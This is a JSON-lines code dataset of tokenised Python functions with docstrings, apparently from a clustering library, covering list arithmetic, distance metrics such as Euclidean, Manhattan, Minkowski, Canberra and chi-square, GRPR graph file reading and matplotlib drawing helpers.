'<STR_LIT>');<EOL>axarr[real_index].imshow(image_cluster, interpolation = '<STR_LIT:none>');<EOL>plt.setp(axarr[real_index], visible = True);<EOL>if (hide_axes is True):<EOL><INDENT>axarr[real_index].xaxis.set_ticklabels([]);<EOL>axarr[real_index].yaxis.set_ticklabels([]);<EOL>axarr[real_index].xaxis.set_ticks_position('<STR_LIT:none>');<EOL>axarr[real_index].yaxis.set_ticks_position('<STR_LIT:none>');<EOL><DEDENT>if (double_indexer is True):<EOL><INDENT>real_index = real_index[<NUM_LIT:0>], real_index[<NUM_LIT:1>] + <NUM_LIT:1>;<EOL>if (real_index[<NUM_LIT:1>] >= number_cols):<EOL><INDENT>real_index = real_index[<NUM_LIT:0>] + <NUM_LIT:1>, <NUM_LIT:0>; <EOL><DEDENT><DEDENT>else:<EOL><INDENT>real_index += <NUM_LIT:1>;<EOL><DEDENT><DEDENT>plt.show()<EOL>", "docstring": "!\n    @brief Shows image segments using black masks.\n    @details Each black mask of allocated segment is presented on separate plot.\n             The first image is initial and others are black masks of segments.\n\n    @param[in] source (string): Path to image.\n    @param[in] clusters (list): List of clusters (allocated segments of image) where each cluster\n                                consists of indexes of pixel from source image.\n    @param[in] hide_axes (bool): If True then axes will not be displayed.", "id": "f15694:m26"}
{"signature": "def linear_sum(list_vector):", "body": "dimension = <NUM_LIT:1>;<EOL>linear_sum = <NUM_LIT:0.0>;<EOL>list_representation = (type(list_vector[<NUM_LIT:0>]) == list);<EOL>if (list_representation is True):<EOL><INDENT>dimension = len(list_vector[<NUM_LIT:0>]);<EOL>linear_sum = [<NUM_LIT:0>] * dimension;<EOL><DEDENT>for index_element in range(<NUM_LIT:0>, len(list_vector)):<EOL><INDENT>if (list_representation is True):<EOL><INDENT>for index_dimension in range(<NUM_LIT:0>, dimension):<EOL><INDENT>linear_sum[index_dimension] += list_vector[index_element][index_dimension];<EOL><DEDENT><DEDENT>else:<EOL><INDENT>linear_sum += list_vector[index_element];<EOL><DEDENT><DEDENT>return linear_sum<EOL>", "docstring": "!\n    @brief Calculates linear sum of vector that is represented by list, each element can be represented by list - multidimensional elements.\n\n    @param[in] list_vector (list): Input vector.\n\n    @return (list|double) Linear sum of vector that can be represented by list in case of multidimensional elements.", "id": "f15694:m27"}
{"signature": "def square_sum(list_vector):", "body": "square_sum = <NUM_LIT:0.0>;<EOL>list_representation = (type(list_vector[<NUM_LIT:0>]) == list);<EOL>for index_element in range(<NUM_LIT:0>, len(list_vector)):<EOL><INDENT>if (list_representation is True):<EOL><INDENT>square_sum += sum(list_math_multiplication(list_vector[index_element], list_vector[index_element]));<EOL><DEDENT>else:<EOL><INDENT>square_sum += list_vector[index_element] * list_vector[index_element];<EOL><DEDENT><DEDENT>return square_sum<EOL>", "docstring": "!\n    @brief Calculates square sum of vector that is represented by list, each element can be represented by list - multidimensional elements.\n\n    @param[in] list_vector (list): Input vector.\n\n    @return (double) Square sum of vector.", "id": "f15694:m28"}
{"signature": "def list_math_subtraction(a, b):", "body": "return [a[i] - b[i] for i in range(len(a))]<EOL>", "docstring": "!\n    @brief Calculates subtraction of two lists.\n    @details Each element from list 'a' is subtracted by element from list 'b' accordingly.\n\n    @param[in] a (list): List of elements that supports mathematical subtraction.\n    @param[in] b (list): List of elements that supports mathematical subtraction.\n\n    @return (list) Results of subtraction of two lists.", "id": "f15694:m29"}
{"signature": "def list_math_substraction_number(a, b):", "body": "return [a[i] - b for i in range(len(a))]<EOL>", "docstring": "!\n    @brief Calculates subtraction between list and number.\n    @details Each element from list 'a' is subtracted by number 'b'.\n\n    @param[in] a (list): List of elements that supports mathematical subtraction.\n    @param[in] b (list): Value that supports mathematical subtraction.\n\n    @return (list) Results of subtraction between list and number.", "id": "f15694:m30"}
{"signature": "def list_math_addition(a, b):", "body": "return [a[i] + b[i] for i in range(len(a))]<EOL>", "docstring": "!\n    @brief Addition of two lists.\n    @details Each element from list 'a' is added to element from list 'b' accordingly.\n\n    @param[in] a (list): List of elements that supports mathematic addition..\n    @param[in] b (list): List of elements that supports mathematic addition..\n\n    @return (list) Results of addtion of two lists.", "id": "f15694:m31"}
{"signature": "def list_math_addition_number(a, b):", "body": "return [a[i] + b for i in range(len(a))]<EOL>", "docstring": "!\n    @brief Addition between list and number.\n    @details Each element from list 'a' is added to number 'b'.\n\n    @param[in] a (list): List of elements that supports mathematic addition.\n    @param[in] b (double): Value that supports mathematic addition.\n\n    @return (list) Result of addtion of two lists.", "id": "f15694:m32"}
{"signature": "def list_math_division_number(a, b):", "body": "return [a[i] / b for i in range(len(a))]<EOL>", "docstring": "!\n    @brief Division between list and number.\n    @details Each element from list 'a' is divided by number 'b'.\n\n    @param[in] a (list): List of elements that supports mathematic division.\n    @param[in] b (double): Value that supports mathematic division.\n\n    @return (list) Result of division between list and number.", "id": "f15694:m33"}
{"signature": "def list_math_division(a, b):", "body": "return [a[i] / b[i] for i in range(len(a))]<EOL>", "docstring": "!\n    @brief Division of two lists.\n    @details Each element from list 'a' is divided by element from list 'b' accordingly.\n\n    @param[in] a (list): List of elements that supports mathematic division.\n    @param[in] b (list): List of elements that supports mathematic division.\n\n    @return (list) Result of division of two lists.", "id": "f15694:m34"}
{"signature": "def list_math_multiplication_number(a, b):", "body": "return [a[i] * b for i in range(len(a))]<EOL>", "docstring": "!\n    @brief Multiplication between list and number.\n    @details Each element from list 'a' is multiplied by number 'b'.\n\n    @param[in] a (list): List of elements that supports mathematic division.\n    @param[in] b (double): Number that supports mathematic division.\n\n    @return (list) Result of division between list and number.", "id": "f15694:m35"}
{"signature": "def list_math_multiplication(a, b):", "body": "return [a[i] * b[i] for i in range(len(a))]<EOL>", "docstring": "!\n    @brief Multiplication of two lists.\n    @details Each element from list 'a' is multiplied by element from list 'b' accordingly.\n\n    @param[in] a (list): List of elements that supports mathematic multiplication.\n    @param[in] b (list): List of elements that supports mathematic multiplication.\n\n    @return (list) Result of multiplication of elements in two lists.", "id": "f15694:m36"}
{"signature": "def euclidean_distance(point1, point2):", "body": "distance = euclidean_distance_square(point1, point2)<EOL>return distance ** <NUM_LIT:0.5><EOL>", "docstring": "!\n    @brief Calculate Euclidean distance between two vectors.\n    @details The Euclidean between vectors (points) a and b is calculated by following formula:\n\n    \\f[\n    dist(a, b) = \\sqrt{ \\sum_{i=0}^{N}(a_{i} - b_{i})^{2} };\n    \\f]\n\n    Where N is a length of each vector.\n\n    @param[in] point1 (array_like): The first vector.\n    @param[in] point2 (array_like): The second vector.\n\n    @return (double) Euclidean distance between two vectors.\n\n    @see euclidean_distance_square, manhattan_distance, chebyshev_distance", "id": "f15695:m0"}
{"signature": "def euclidean_distance_numpy(object1, object2):", "body": "return numpy.sum(numpy.sqrt(numpy.square(object1 - object2)), axis=<NUM_LIT:1>).T<EOL>", "docstring": "!\n    @brief Calculate Euclidean distance between two objects using numpy.\n\n    @param[in] object1 (array_like): The first array_like object.\n    @param[in] object2 (array_like): The second array_like object.\n\n    @return (double) Euclidean distance between two objects.", "id": "f15695:m1"}
{"signature": "def euclidean_distance_square(point1, point2):", "body": "distance = <NUM_LIT:0.0><EOL>for i in range(len(point1)):<EOL><INDENT>distance += (point1[i] - point2[i]) ** <NUM_LIT><EOL><DEDENT>return distance<EOL>", "docstring": "!\n    @brief Calculate square Euclidean distance between two vectors.\n\n    \\f[\n    dist(a, b) = \\sum_{i=0}^{N}(a_{i} - b_{i})^{2};\n    \\f]\n\n    @param[in] point1 (array_like): The first vector.\n    @param[in] point2 (array_like): The second vector.\n\n    @return (double) Square Euclidean distance between two vectors.\n\n    @see euclidean_distance, manhattan_distance, chebyshev_distance", "id": "f15695:m2"}
{"signature": "def euclidean_distance_square_numpy(object1, object2):", "body": "return numpy.sum(numpy.square(object1 - object2), axis=<NUM_LIT:1>).T<EOL>", "docstring": "!\n    @brief Calculate square Euclidean distance between two objects using numpy.\n\n    @param[in] object1 (array_like): The first array_like object.\n    @param[in] object2 (array_like): The second array_like object.\n\n    @return (double) Square Euclidean distance between two objects.", "id": "f15695:m3"}
{"signature": "def manhattan_distance(point1, point2):", "body": "distance = <NUM_LIT:0.0><EOL>dimension = len(point1)<EOL>for i in range(dimension):<EOL><INDENT>distance += abs(point1[i] - point2[i])<EOL><DEDENT>return distance<EOL>", "docstring": "!\n    @brief Calculate Manhattan distance between between two vectors.\n\n    \\f[\n    dist(a, b) = \\sum_{i=0}^{N}\\left | a_{i} - b_{i} \\right |;\n    \\f]\n\n    @param[in] point1 (array_like): The first vector.\n    @param[in] point2 (array_like): The second vector.\n\n    @return (double) Manhattan distance between two vectors.\n\n    @see euclidean_distance_square, euclidean_distance, chebyshev_distance", "id": "f15695:m4"}
{"signature": "def manhattan_distance_numpy(object1, object2):", "body": "return numpy.sum(numpy.absolute(object1 - object2), axis=<NUM_LIT:1>).T<EOL>", "docstring": "!\n    @brief Calculate Manhattan distance between two objects using numpy.\n\n    @param[in] object1 (array_like): The first array_like object.\n    @param[in] object2 (array_like): The second array_like object.\n\n    @return (double) Manhattan distance between two objects.", "id": "f15695:m5"}
{"signature": "def chebyshev_distance(point1, point2):", "body": "distance = <NUM_LIT:0.0><EOL>dimension = len(point1)<EOL>for i in range(dimension):<EOL><INDENT>distance = max(distance, abs(point1[i] - point2[i]))<EOL><DEDENT>return distance<EOL>", "docstring": "!\n    @brief Calculate Chebyshev distance between between two vectors.\n\n    \\f[\n    dist(a, b) = \\max_{}i\\left (\\left | a_{i} - b_{i} \\right |\\right );\n    \\f]\n\n    @param[in] point1 (array_like): The first vector.\n    @param[in] point2 (array_like): The second vector.\n\n    @return (double) Chebyshev distance between two vectors.\n\n    @see euclidean_distance_square, euclidean_distance, minkowski_distance", "id": "f15695:m6"}
{"signature": "def chebyshev_distance_numpy(object1, object2):", "body": "return numpy.max(numpy.absolute(object1 - object2), axis=<NUM_LIT:1>).T<EOL>", "docstring": "!\n    @brief Calculate Chebyshev distance between two objects using numpy.\n\n    @param[in] object1 (array_like): The first array_like object.\n    @param[in] object2 (array_like): The second array_like object.\n\n    @return (double) Chebyshev distance between two objects.", "id": "f15695:m7"}
{"signature": "def minkowski_distance(point1, point2, degree=<NUM_LIT:2>):", "body": "distance = <NUM_LIT:0.0><EOL>for i in range(len(point1)):<EOL><INDENT>distance += (point1[i] - point2[i]) ** degree<EOL><DEDENT>return distance ** (<NUM_LIT:1.0> / degree)<EOL>", "docstring": "!\n    @brief Calculate Minkowski distance between two vectors.\n\n    \\f[\n    dist(a, b) = \\sqrt[p]{ \\sum_{i=0}^{N}\\left(a_{i} - b_{i}\\right)^{p} };\n    \\f]\n\n    @param[in] point1 (array_like): The first vector.\n    @param[in] point2 (array_like): The second vector.\n    @param[in] degree (numeric): Degree of that is used for Minkowski distance.\n\n    @return (double) Minkowski distance between two vectors.\n\n    @see euclidean_distance", "id": "f15695:m8"}
{"signature": "def minkowski_distance_numpy(object1, object2, degree=<NUM_LIT:2>):", "body": "return numpy.sum(numpy.power(numpy.power(object1 - object2, degree), <NUM_LIT:1>/degree), axis=<NUM_LIT:1>).T<EOL>", "docstring": "!\n    @brief Calculate Minkowski distance between objects using numpy.\n\n    @param[in] object1 (array_like): The first array_like object.\n    @param[in] object2 (array_like): The second array_like object.\n    @param[in] degree (numeric): Degree of that is used for Minkowski distance.\n\n    @return (double) Minkowski distance between two object.", "id": "f15695:m9"}
{"signature": "def canberra_distance(point1, point2):", "body": "distance = <NUM_LIT:0.0><EOL>for i in range(len(point1)):<EOL><INDENT>divider = abs(point1[i]) + abs(point2[i])<EOL>if divider == <NUM_LIT:0.0>:<EOL><INDENT>continue<EOL><DEDENT>distance += abs(point1[i] - point2[i]) / divider<EOL><DEDENT>return distance<EOL>", "docstring": "!\n    @brief Calculate Canberra distance between two vectors.\n\n    \\f[\n    dist(a, b) = \\sum_{i=0}^{N}\\frac{\\left | a_{i} - b_{i} \\right |}{\\left | a_{i} \\right | + \\left | b_{i} \\right |};\n    \\f]\n\n    @param[in] point1 (array_like): The first vector.\n    @param[in] point2 (array_like): The second vector.\n\n    @return (float) Canberra distance between two objects.", "id": "f15695:m10"}
{"signature": "def canberra_distance_numpy(object1, object2):", "body": "with numpy.errstate(divide='<STR_LIT:ignore>', invalid='<STR_LIT:ignore>'):<EOL><INDENT>result = numpy.divide(numpy.abs(object1 - object2), numpy.abs(object1) + numpy.abs(object2))<EOL><DEDENT>if len(result.shape) > <NUM_LIT:1>:<EOL><INDENT>return numpy.sum(numpy.nan_to_num(result), axis=<NUM_LIT:1>).T<EOL><DEDENT>else:<EOL><INDENT>return numpy.sum(numpy.nan_to_num(result))<EOL><DEDENT>", "docstring": "!\n    @brief Calculate Canberra distance between two objects using numpy.\n\n    @param[in] object1 (array_like): The first vector.\n    @param[in] object2 (array_like): The second vector.\n\n    @return (float) Canberra distance between two objects.", "id": "f15695:m11"}
{"signature": "def chi_square_distance(point1, point2):", "body": "distance = <NUM_LIT:0.0><EOL>for i in range(len(point1)):<EOL><INDENT>divider = abs(point1[i]) + abs(point2[i])<EOL>if divider == <NUM_LIT:0.0>:<EOL><INDENT>continue<EOL><DEDENT>distance += ((point1[i] - point2[i]) ** <NUM_LIT>) / divider<EOL><DEDENT>return distance<EOL>", "docstring": "!\n    @brief Calculate Chi square distance between two vectors.\n\n    \\f[\n    dist(a, b) = \\sum_{i=0}^{N}\\frac{\\left ( a_{i} - b_{i} \\right )^{2}}{\\left | a_{i} \\right | + \\left | b_{i} \\right |};\n    \\f]\n\n    @param[in] point1 (array_like): The first vector.\n    @param[in] point2 (array_like): The second vector.\n\n    @return (float) Chi square distance between two objects.", "id": "f15695:m12"}
{"signature": "def chi_square_distance_numpy(object1, object2):", "body": "with numpy.errstate(divide='<STR_LIT:ignore>', invalid='<STR_LIT:ignore>'):<EOL><INDENT>result = numpy.divide(numpy.power(object1 - object2, <NUM_LIT:2>), numpy.abs(object1) + numpy.abs(object2))<EOL><DEDENT>if len(result.shape) > <NUM_LIT:1>:<EOL><INDENT>return numpy.sum(numpy.nan_to_num(result), axis=<NUM_LIT:1>).T<EOL><DEDENT>else:<EOL><INDENT>return numpy.sum(numpy.nan_to_num(result))<EOL><DEDENT>", "docstring": "!\n    @brief Calculate Chi square distance between two vectors using numpy.\n\n    @param[in] object1 (array_like): The first vector.\n    @param[in] object2 (array_like): The second vector.\n\n    @return (float) Chi square distance between two objects.", "id": "f15695:m13"}
{"signature": "def __init__(self, metric_type, **kwargs):", "body": "self.__type = metric_type<EOL>self.__args = kwargs<EOL>self.__func = self.__args.get('<STR_LIT>', None)<EOL>self.__numpy = self.__args.get('<STR_LIT>', False)<EOL>self.__calculator = self.__create_distance_calculator()<EOL>", "docstring": "!\n        @brief Creates distance metric instance for calculation distance between two points.\n\n        @param[in] metric_type (type_metric):\n        @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'numpy_usage' 'func' and corresponding additional argument for\n                    for specific metric types).\n\n        <b>Keyword Args:</b><br>\n            - func (callable): Callable object with two arguments (point #1 and point #2) or (object #1 and object #2) in case of numpy usage.\n                                This argument is used only if metric is 'type_metric.USER_DEFINED'.\n            - degree (numeric): Only for 'type_metric.MINKOWSKI' - degree of Minkowski equation.\n            - numpy_usage (bool): If True then numpy is used for calculation (by default is False).", "id": "f15695:c1:m0"}
{"signature": "def __call__(self, point1, point2):", "body": "return self.__calculator(point1, point2)<EOL>", "docstring": "!\n        @brief Calculates distance between two points.\n\n        @param[in] point1 (list): The first point.\n        @param[in] point2 (list): The second point.\n\n        @return (double) Distance between two points.", "id": "f15695:c1:m1"}
{"signature": "def get_type(self):", "body": "return self.__type<EOL>", "docstring": "!\n        @brief Return type of distance metric that is used.\n\n        @return (type_metric) Type of distance metric.", "id": "f15695:c1:m2"}
{"signature": "def get_arguments(self):", "body": "return self.__args<EOL>", "docstring": "!\n        @brief Return additional arguments that are used by distance metric.\n\n        @return (dict) Additional arguments.", "id": "f15695:c1:m3"}
{"signature": "def get_function(self):", "body": "return self.__func<EOL>", "docstring": "!\n        @brief Return user-defined function for calculation distance metric.\n\n        @return (callable): User-defined distance metric function.", "id": "f15695:c1:m4"}
{"signature": "def enable_numpy_usage(self):", "body": "self.__numpy = True<EOL>if self.__type != type_metric.USER_DEFINED:<EOL><INDENT>self.__calculator = self.__create_distance_calculator()<EOL><DEDENT>", "docstring": "!\n        @brief Start numpy for distance calculation.\n        @details Useful in case matrices to increase performance. No effect in case of type_metric.USER_DEFINED type.", "id": "f15695:c1:m5"}
{"signature": "def disable_numpy_usage(self):", "body": "self.__numpy = False<EOL>self.__calculator = self.__create_distance_calculator()<EOL>", "docstring": "!\n        @brief Stop using numpy for distance calculation.\n        @details Useful in case of big amount of small data portion when numpy call is longer than calculation itself.\n                  No effect in case of type_metric.USER_DEFINED type.", "id": "f15695:c1:m6"}
{"signature": "def __create_distance_calculator(self):", "body": "if self.__numpy is True:<EOL><INDENT>return self.__create_distance_calculator_numpy()<EOL><DEDENT>return self.__create_distance_calculator_basic()<EOL>", "docstring": "!\n        @brief Creates distance metric calculator.\n\n        @return (callable) Callable object of distance metric calculator.", "id": "f15695:c1:m7"}
{"signature": "def __create_distance_calculator_basic(self):", "body": "if self.__type == type_metric.EUCLIDEAN:<EOL><INDENT>return euclidean_distance<EOL><DEDENT>elif self.__type == type_metric.EUCLIDEAN_SQUARE:<EOL><INDENT>return euclidean_distance_square<EOL><DEDENT>elif self.__type == type_metric.MANHATTAN:<EOL><INDENT>return manhattan_distance<EOL><DEDENT>elif self.__type == type_metric.CHEBYSHEV:<EOL><INDENT>return chebyshev_distance<EOL><DEDENT>elif self.__type == type_metric.MINKOWSKI:<EOL><INDENT>return lambda point1, point2: minkowski_distance(point1, point2, self.__args.get('<STR_LIT>', <NUM_LIT:2>))<EOL><DEDENT>elif self.__type == type_metric.CANBERRA:<EOL><INDENT>return canberra_distance<EOL><DEDENT>elif self.__type == type_metric.CHI_SQUARE:<EOL><INDENT>return chi_square_distance<EOL><DEDENT>elif self.__type == type_metric.USER_DEFINED:<EOL><INDENT>return self.__func<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\", self.__type)<EOL><DEDENT>", "docstring": "!\n        @brief Creates distance metric calculator that does not use numpy.\n\n        @return (callable) Callable object of distance metric calculator.", "id": "f15695:c1:m8"}
{"signature": "def __create_distance_calculator_numpy(self):", "body": "if self.__type == type_metric.EUCLIDEAN:<EOL><INDENT>return euclidean_distance_numpy<EOL><DEDENT>elif self.__type == type_metric.EUCLIDEAN_SQUARE:<EOL><INDENT>return euclidean_distance_square_numpy<EOL><DEDENT>elif self.__type == type_metric.MANHATTAN:<EOL><INDENT>return manhattan_distance_numpy<EOL><DEDENT>elif self.__type == type_metric.CHEBYSHEV:<EOL><INDENT>return chebyshev_distance_numpy<EOL><DEDENT>elif self.__type == type_metric.MINKOWSKI:<EOL><INDENT>return lambda object1, object2: minkowski_distance_numpy(object1, object2, self.__args.get('<STR_LIT>', <NUM_LIT:2>))<EOL><DEDENT>elif self.__type == type_metric.CANBERRA:<EOL><INDENT>return canberra_distance_numpy<EOL><DEDENT>elif self.__type == type_metric.CHI_SQUARE:<EOL><INDENT>return chi_square_distance_numpy<EOL><DEDENT>elif self.__type == type_metric.USER_DEFINED:<EOL><INDENT>return self.__func<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\", self.__type)<EOL><DEDENT>", "docstring": "!\n        @brief Creates distance metric calculator that uses numpy.\n\n        @return (callable) Callable object of distance metric calculator.", "id": "f15695:c1:m9"}
{"signature": "def read_graph(filename):", "body": "file = open(filename, '<STR_LIT:r>');<EOL>comments = \"<STR_LIT>\";<EOL>space_descr = [];<EOL>data = [];<EOL>data_type = None;<EOL>map_data_repr = dict();   <EOL>for line in file:<EOL><INDENT>if (line[<NUM_LIT:0>] == '<STR_LIT:c>' or line[<NUM_LIT:0>] == '<STR_LIT:p>'): <EOL><INDENT>comments += line[<NUM_LIT:1>:]; <EOL><DEDENT>elif (line[<NUM_LIT:0>] == '<STR_LIT:r>'): <EOL><INDENT>node_coordinates = [float(val) for val in line[<NUM_LIT:1>:].split()];<EOL>if (len(node_coordinates) != <NUM_LIT:2>):<EOL><INDENT>raise NameError('<STR_LIT>');<EOL><DEDENT>space_descr.append( [float(val) for val in line[<NUM_LIT:1>:].split()] );<EOL><DEDENT>elif (line[<NUM_LIT:0>] == '<STR_LIT:m>'):<EOL><INDENT>if ( (data_type is not None) and (data_type != '<STR_LIT:m>') ):<EOL><INDENT>raise NameError('<STR_LIT>');<EOL><DEDENT>data_type = '<STR_LIT:m>';<EOL>data.append( [float(val) for val in line[<NUM_LIT:1>:].split()] );<EOL><DEDENT>elif (line[<NUM_LIT:0>] == '<STR_LIT:v>'):<EOL><INDENT>if ( (data_type is not None) and (data_type != '<STR_LIT:v>') ):<EOL><INDENT>raise NameError('<STR_LIT>');<EOL><DEDENT>data_type = '<STR_LIT:v>';<EOL>data.append( [float(val) for val in line[<NUM_LIT:1>:].split()] );<EOL><DEDENT>elif (line[<NUM_LIT:0>] == '<STR_LIT:e>'):<EOL><INDENT>if ( (data_type is not None) and (data_type != '<STR_LIT:e>') ):<EOL><INDENT>raise NameError('<STR_LIT>');<EOL><DEDENT>data_type = '<STR_LIT:e>';<EOL>vertices = [int(val) for val in line[<NUM_LIT:1>:].split()];<EOL>if (vertices[<NUM_LIT:0>] not in map_data_repr):<EOL><INDENT>map_data_repr[ vertices[<NUM_LIT:0>] ] = [ vertices[<NUM_LIT:1>] ];<EOL><DEDENT>else:<EOL><INDENT>map_data_repr[ vertices[<NUM_LIT:0>] ].append(vertices[<NUM_LIT:1>])<EOL><DEDENT>if (vertices[<NUM_LIT:1>] not in map_data_repr):<EOL><INDENT>map_data_repr[ vertices[<NUM_LIT:1>] ] = [ vertices[<NUM_LIT:0>] ];<EOL><DEDENT>else:<EOL><INDENT>map_data_repr[ vertices[<NUM_LIT:1>] ].append(vertices[<NUM_LIT:0>]);<EOL><DEDENT><DEDENT>elif (len(line.strip()) == <NUM_LIT:0>): continue;<EOL>else: <EOL><INDENT>print(line);<EOL>raise NameError('<STR_LIT>');<EOL><DEDENT><DEDENT>if (data_type == '<STR_LIT:e>'):<EOL><INDENT>for index in range(len(map_data_repr)):<EOL><INDENT>data.append([<NUM_LIT:0>] * len(map_data_repr));<EOL>for index_neighbour in map_data_repr[index + <NUM_LIT:1>]:<EOL><INDENT>data[index][index_neighbour - <NUM_LIT:1>] = <NUM_LIT:1>;<EOL><DEDENT><DEDENT><DEDENT>file.close();<EOL>graph_descr = None;<EOL>if (data_type == '<STR_LIT:m>'): graph_descr = type_graph_descr.GRAPH_MATRIX_DESCR;<EOL>elif (data_type == '<STR_LIT:v>'): graph_descr = type_graph_descr.GRAPH_VECTOR_DESCR;<EOL>elif (data_type == '<STR_LIT:e>'): graph_descr = type_graph_descr.GRAPH_MATRIX_DESCR;<EOL>else:<EOL><INDENT>raise NameError('<STR_LIT>');<EOL><DEDENT>if (space_descr != []):<EOL><INDENT>if (len(data) != len(space_descr)):<EOL><INDENT>raise NameError(\"<STR_LIT>\");<EOL><DEDENT><DEDENT>return graph(data, graph_descr, space_descr, comments)<EOL>", "docstring": "!\n    @brief Read graph from file in GRPR format.\n\n    @param[in] filename (string): Path to file with graph in GRPR format.\n\n    @return (graph) Graph that is read from file.", "id": "f15696:m0"}
{"signature": "def draw_graph(graph_instance, map_coloring = None):", "body": "if (graph_instance.space_description is None):<EOL><INDENT>raise NameError(\"<STR_LIT>\");<EOL><DEDENT>if (map_coloring is not None):<EOL><INDENT>if (len(graph_instance) != len(map_coloring)):<EOL><INDENT>raise NameError(\"<STR_LIT>\");<EOL><DEDENT><DEDENT>fig = plt.figure();<EOL>axes = fig.add_subplot(<NUM_LIT>);<EOL>available_colors = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>'];<EOL>if (map_coloring is not None):<EOL><INDENT>if (len(map_coloring) > len(available_colors)):<EOL><INDENT>raise NameError('<STR_LIT>');<EOL><DEDENT><DEDENT>x_maximum = -float('<STR_LIT>');<EOL>x_minimum = float('<STR_LIT>');<EOL>y_maximum = -float('<STR_LIT>');<EOL>y_minimum = float('<STR_LIT>');<EOL>for i in range(<NUM_LIT:0>, len(graph_instance.space_description), <NUM_LIT:1>):<EOL><INDENT>if (graph_instance.type_graph_descr == type_graph_descr.GRAPH_MATRIX_DESCR):<EOL><INDENT>for j in range(i, len(graph_instance.space_description), <NUM_LIT:1>):    <EOL><INDENT>if (graph_instance.data[i][j] == <NUM_LIT:1>):<EOL><INDENT>axes.plot([graph_instance.space_description[i][<NUM_LIT:0>], graph_instance.space_description[j][<NUM_LIT:0>]], [graph_instance.space_description[i][<NUM_LIT:1>], graph_instance.space_description[j][<NUM_LIT:1>]], '<STR_LIT>', linewidth = <NUM_LIT>);<EOL><DEDENT><DEDENT><DEDENT>elif (graph_instance.type_graph_descr == type_graph_descr.GRAPH_VECTOR_DESCR):<EOL><INDENT>for j in graph_instance.data[i]:<EOL><INDENT>if (i > j):     <EOL><INDENT>axes.plot([graph_instance.space_description[i][<NUM_LIT:0>], graph_instance.space_description[j][<NUM_LIT:0>]], [graph_instance.space_description[i][<NUM_LIT:1>], graph_instance.space_description[j][<NUM_LIT:1>]], '<STR_LIT>', linewidth = <NUM_LIT>);   <EOL><DEDENT><DEDENT><DEDENT>color_node = '<STR_LIT:b>';<EOL>if (map_coloring is not None):<EOL><INDENT>color_node = colors.hex2color(available_colors[map_coloring[i]]);<EOL><DEDENT>axes.plot(graph_instance.space_description[i][<NUM_LIT:0>], graph_instance.space_description[i][<NUM_LIT:1>], color = color_node, marker = '<STR_LIT:o>', markersize = <NUM_LIT:20>);<EOL>if (x_maximum < graph_instance.space_description[i][<NUM_LIT:0>]): x_maximum = graph_instance.space_description[i][<NUM_LIT:0>];<EOL>if (x_minimum > graph_instance.space_description[i][<NUM_LIT:0>]): x_minimum = graph_instance.space_description[i][<NUM_LIT:0>];  <EOL>if (y_maximum < graph_instance.space_description[i][<NUM_LIT:1>]): y_maximum = graph_instance.space_description[i][<NUM_LIT:1>]; <EOL>if (y_minimum > graph_instance.space_description[i][<NUM_LIT:1>]): y_minimum = graph_instance.space_description[i][<NUM_LIT:1>];<EOL><DEDENT>plt.xlim(x_minimum - <NUM_LIT:0.5>, x_maximum + <NUM_LIT:0.5>);<EOL>plt.ylim(y_minimum - <NUM_LIT:0.5>, y_maximum + <NUM_LIT:0.5>);<EOL>plt.show()<EOL>", "docstring": "!\n    @brief Draw graph.\n\n    @param[in] graph_instance (graph): Graph that should be drawn.\n    @param[in] map_coloring (list): List of color indexes for each vertex. Size of this list should be equal to size of graph (number of vertices).\n                                    If it's not specified (None) than graph without coloring will be dwarn.\n\n    @warning Graph can be represented if there is space representation for it.", "id": "f15696:m1"}
{"signature": "def __init__(self, data, type_graph = None, space_descr = None, comments = None):", "body": "self.__data = data;<EOL>self.__space_descr = space_descr;<EOL>self.__comments = comments;<EOL>if (type_graph is not None):<EOL><INDENT>self.__type_graph = type_graph;<EOL><DEDENT>else:<EOL><INDENT>self.__type_graph = type_graph_descr.GRAPH_MATRIX_DESCR;<EOL>for row in self.__data:<EOL><INDENT>if (len(row) != len(self.__data)):<EOL><INDENT>self.__type_graph = type_graph_descr.GRAPH_VECTOR_DESCR;<EOL>break;<EOL><DEDENT>for element in row:<EOL><INDENT>if ( (element != <NUM_LIT:0>) or (element != <NUM_LIT:1>) ):<EOL><INDENT>self.__type_graph = type_graph_descr.GRAPH_VECTOR_DESCR;<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "!\n        @brief Constructor of graph.\n\n        @param[in] data (list): Representation of graph. Considered as matrix if 'type_graph' is not specified.\n        @param[in] type_graph (type_graph_descr): Type of graph representation in 'data'.\n        @param[in] space_descr (list): Coordinates of each vertex that are used for graph drawing (can be omitted).\n        @param[in] comments (string): Comments related to graph.", "id": "f15696:c1:m0"}
{"signature": "def __len__(self):", "body": "return len(self.__data)<EOL>", "docstring": "!\n        @return (uint) Size of graph defined by number of vertices.", "id": "f15696:c1:m1"}
{"signature": "@property<EOL><INDENT>def data(self):<DEDENT>", "body": "return self.__data<EOL>", "docstring": "!\n        @return (list) Graph representation.", "id": "f15696:c1:m2"}
{"signature": "@property<EOL><INDENT>def space_description(self):<DEDENT>", "body": "if (self.__space_descr == [] or self.__space_descr is None):<EOL><INDENT>return None;<EOL><DEDENT>return self.__space_descr<EOL>", "docstring": "!\n        @return (list) Space description.", "id": "f15696:c1:m3"}
{"signature": "@property<EOL><INDENT>def comments(self):<DEDENT>", "body": "return self.__comments<EOL>", "docstring": "!\n        @return (string) Comments.", "id": "f15696:c1:m4"}
{"signature": "@property<EOL><INDENT>def type_graph_descr(self):<DEDENT>", "body": "return self.__type_graph<EOL>", "docstring": "!\n        @return (type_graph_descr) Type of graph representation.", "id": "f15696:c1:m5"}
{"signature": "@staticmethod<EOL><INDENT>def get_color(sequential_index):<DEDENT>", "body": "return color.TITLES[sequential_index % len(color.TITLES)]<EOL>", "docstring": "!\n        @brief Returns color using round robin to avoid out of range exception.\n\n        @param[in] sequential_index (uint): Index that should be converted to valid color index.\n\n        @return (uint) Color from list color.TITLES.", "id": "f15697:c0:m0"}
